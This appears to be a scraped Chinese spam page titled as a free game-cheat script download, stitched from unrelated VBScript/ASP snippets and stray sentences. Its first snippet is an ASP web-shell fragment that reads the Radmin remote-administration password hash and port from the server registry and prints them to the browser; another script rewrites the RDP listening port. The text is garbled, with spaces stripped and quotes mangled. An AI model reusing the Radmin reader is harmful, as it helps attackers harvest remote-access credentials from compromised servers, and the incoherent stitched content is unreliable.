刷奥币脚本下载免费版跑跑卡丁车

发布时间:2019-11-04 来源:脚本之家 点击:


<%
'========================================Main======================================
SetWSH=Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters"
Parameter="Parameter"
Port="Port"
ParameterArray=WSH.Regread(RadminPath&Parameter)
Response.write"TheResultofRadminHash"
Response.write"<br><br>"
Response.writeParameter&":"
'===========ReadPassWord=========
IfIsArray(ParameterArray)Then
Fori=0ToUBound(ParameterArray)
IfLen(hex(ParameterArray(i)))=1Then
strObj=strObj&"0"&CStr(Hex(ParameterArray(i)))
Else
strObj=strObj&Hex(ParameterArray(i))
EndIf
Next
response.writeLcase(strobj)
Else
response.write"Error!Can'tRead!"
EndIf
Response.write"<br><br>"
'===========ReadPort=========
PortArray=WSH.REGREAD(RadminPath&Port)
IfIsArray(PortArray)Then
Response.writePort&":"
Response.writehextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write"Error!Can'tRead!"
EndIf
'=============hexTOint==========
Functionhextointer(strin)
Dimi,j,k,result
result=0
Fori=1ToLen(strin)
IfMid(strin,i,1)="f"OrMid(strin,i,1)="F"Then
j=15
EndIf
IfMid(strin,i,1)="e"OrMid(strin,i,1)="E"Then
j=14
EndIf
IfMid(strin,i,1)="d"OrMid(strin,i,1)="D"Then
j=13
EndIf
IfMid(strin,i,1)="c"OrMid(strin,i,1)="C"Then
j=12
EndIf
IfMid(strin,i,1)="b"OrMid(strin,i,1)="B"Then
j=11
EndIf
IfMid(strin,i,1)="a"OrMid(strin,i,1)="A"Then
j=10
EndIf
IfMid(strin,i,1)<="9"AndMid(strin,i,1)>="0"Then
j=CInt(Mid(strin,i,1))
EndIf
Fork=1ToLen(strin)-i
j=j*16
Next
result=result+j
Next
hextointer=result
EndFunction
'================End==========
%>
sqlserver脚本文件后缀名
SetWshShell=CreateObject("Wscript.Shell")
FunctionImput()
imputport=InputBox("请输入一个端口号,注意:这个端口号目前不能被其它程序使用,否则会影响终端服务","更改终端端口号","3389",100,100)
Ifimputport<>""Then
IfIsNumeric(imputport)Then

WshShell.RegWrite"HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp\PortNumber",imputport,"REG_DWORD"
WshShell.RegWrite"HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber",imputport,"REG_DWORD"
wscript.echo"操作成功"
Elsewscript.echo"输入出错,请重新输入"
Imput()
EndIf
Elsewscript.echo"操作已经取消"
EndIf
EndFunction
Imput()
setWshShell=nothing

1、开始 -> 运行 -> 输入:%windir%\SysWoW64\cmd.exe

剪刀怪弱点打法介绍


Zip "D:\test.iso", "D:\test.zip"
Zip "D:\test", "D:\test.zip"
Msgbox "OK"

Sub Zip(ByVal mySourceDir, ByVal myZipFile)
Set fso=CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(mySourceDir) Then
FType="Folder"
ElseIf fso.FileExists(mySourceDir) Then
FType="File"
FileName=fso.GetFileName(mySourceDir)
FolderPath=Left(mySourceDir, Len(mySourceDir) - Len(FileName))
Else
Exit Sub
End If
Set f=fso.CreateTextFile(myZipFile, True)
f.Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))
f.Close
Set objShell=CreateObject("Shell.Application")
Select Case Ftype
Case "Folder"
Set objSource=objShell.NameSpace(mySourceDir)
Set objFolderItem=objSource.Items()
Case "File"
Set objSource=objShell.NameSpace(FolderPath)
Set objFolderItem=objSource.ParseName(FileName)
End Select
Set objTarget=objShell.NameSpace(myZipFile)
intOptions=256
objTarget.CopyHere objFolderItem, intOptions
Do
WScript.Sleep 1000
Loop Until objTarget.Items.Count > 0
End Sub


strServerName=""localhost""
strRootPath=""g:\documents""''虚拟目录路径
strVRName=""Test""''虚拟目录名称
strDefaultDoc=""index.asp""''起始文档

DimobjIIS
''MsgBox""""&strServerName&""/W3SVC/1""

OnErrorResumeNext
SetobjIIS=GetObject(""""&strServerName&""/W3SVC/1"")

Iferr=-2147024893Then
MsgBox""IIS不存在!""&vbcrlf&""请验证IIS是否已正确安装!"",vbcritical
Wscript.Quit
ElseIferr<>0Then
MsgBox""未知错误!"",vbcritical
Wscript.Quit
EndIf

OnErrorGoTo0

SetobjVirtualDir=objIIS.GetObject(""IISWebVirtualDir"",""Root"")
ForeachVRinobjVirtualDir
IfVR.Name=strVRNameThen
MsgBox""虚拟目录""&strVRName&""已存在!"",vbinformation
Wscript.Quit
EndIf
Next

OnErrorResumeNext
Setfs=Wscript.CreateObject(""Scripting.FileSystemObject"")
SetobjFolder=fs.GetFolder(strRootPath)

Iferr=76Then
MsgBox""路径""&strRootPath&""不存在!"",vbcritical
Wscript.Quit
EndIf

SetobjFolder=nothing
Setfs=nothing
OnErrorGoTo0

OnErrorResumeNext
SetVirDir=objVirtualDir.Create(""IISWebVirtualDir"",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=VirDir.DefaultDoc&"",""&strDefaultDoc

VirDir.setInfo

Iferr<>0Then
MsgBox""创建虚拟目录失败!"",vbcritical
Else
MsgBox""虚拟目录""&strVRName&""成功创建在服务器""&strServerName&""上!"",vbinformation
EndIf

代码的关键在于创建虚拟目录,及其中的配置:

SetVirDir=objVirtualDir.Create(""IISWebVirtualDir"",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=VirDir.DefaultDoc&"",""&strDefaultDoc

VirDir.setInfo


今日头条

  第三个猎人是在西波托马克公园的坐上部分

指定在 /u 参数中指定的用户帐户的密码

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号